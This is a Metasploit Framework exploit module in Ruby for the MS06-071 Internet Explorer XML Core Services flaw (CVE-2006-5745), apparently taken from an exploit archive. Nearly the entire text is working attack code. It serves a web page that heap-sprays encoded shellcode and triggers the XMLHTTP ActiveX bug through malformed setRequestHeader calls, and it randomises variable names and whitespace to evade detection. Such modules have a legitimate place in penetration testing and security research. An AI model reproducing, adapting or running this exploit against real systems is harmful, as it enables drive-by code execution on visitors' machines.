Microsoft Internet Explorer – XML Core Services HTTP Request Handling (MS06-071) (Metasploit)
## # $Id: ms06_071_xml_core.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer XML Core Services HTTP Request Handling', 'Description' => %q{ This module exploits a code execution vulnerability in Microsoft XML Core Services which exists in the XMLHTTP ActiveX control. This module is the modifed version of http://www.milw0rm.com/exploits/2743 - credit to str0ke. This module has been successfully tested on Windows 2000 SP4, Windows XP SP2, Windows 2003 Server SP0 with IE6 + Microsoft XML Core Services 4.0 SP2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trirat Puttaraksa <trir00t [at] gmail.com>', ], 'Version' => '$Revision: 9669 $', 'References' => [ ['CVE', '2006-5745' ], ['OSVDB', '29425' ], ['MSB', 'MS06-071' ], ['BID', '20915' ], ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 SP4 -> Windows 2003 SP0', {'Ret' => 0x0c0c0c0c} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 10 2006')) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Get a unicode friendly version of the return address addr_word = [target.ret].pack('V').unpack('H*')[0][0,4] # Randomize the javascript variable names var_buffer = rand_text_alpha(rand(30)+2) var_shellcode = rand_text_alpha(rand(30)+2) var_unescape = rand_text_alpha(rand(30)+2) var_x = rand_text_alpha(rand(30)+2) var_i = rand_text_alpha(rand(30)+2) var_size = rand_text_alpha(rand(30)+2) var_nopsize = rand_text_alpha(rand(30)+2) var_limit = rand_text_alpha(rand(30)+2) var_obj = rand_text_alpha(rand(30)+2) var_id = rand_text_alpha(rand(30)+2) # Build out the message content = %Q| <html xmlns="http://www.w3.org/1999/xhtml"> <body> <object id=#{var_id} classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}"> </object> <script> var #{var_unescape} = unescape ; var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ; var #{var_size} = #{var_shellcode}.length * 2; var #{var_nopsize} = 0x400000 - (#{var_size} + 0x38); var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ; while (#{var_buffer}.length * 2 < #{var_nopsize}) #{var_buffer}+=#{var_buffer} ; #{var_limit} = (0x12000000 - 0x400000) / 0x400000; var #{var_x} = new Array() ; for ( var #{var_i} =0 ; #{var_i} < #{var_limit} ; #{var_i}++ ) { #{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode}; } var #{var_obj} = null; #{var_obj} = document.getElementById('#{var_id}').object; try { #{var_obj}.open(new Array(), new Array(), new Array(), new Array(), new Array()); } catch(e) {}; #{var_obj}.open(new Object(), new Object(), new Object(), new Object(), new Object()); #{var_obj}.setRequestHeader( new Object(), '......' ); #{var_obj}.setRequestHeader( new Object(), 0x12345678 ); #{var_obj}.setRequestHeader( new Object(), 0x12345678 ); #{var_obj}.setRequestHeader( new Object(), 0x12345678 ); #{var_obj}.setRequestHeader( new Object(), 0x12345678 ); #{var_obj}.setRequestHeader( new Object(), 0x12345678 ); #{var_obj}.setRequestHeader( new Object(), 0x12345678 ); #{var_obj}.setRequestHeader( new Object(), 0x12345678 ); #{var_obj}.setRequestHeader( new Object(), 0x12345678 ); #{var_obj}.setRequestHeader( new Object(), 0x12345678 ); #{var_obj}.setRequestHeader( new Object(), 0x12345678 ); #{var_obj}.setRequestHeader( new Object(), 0x12345678 ); </script> </body> </html> | content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |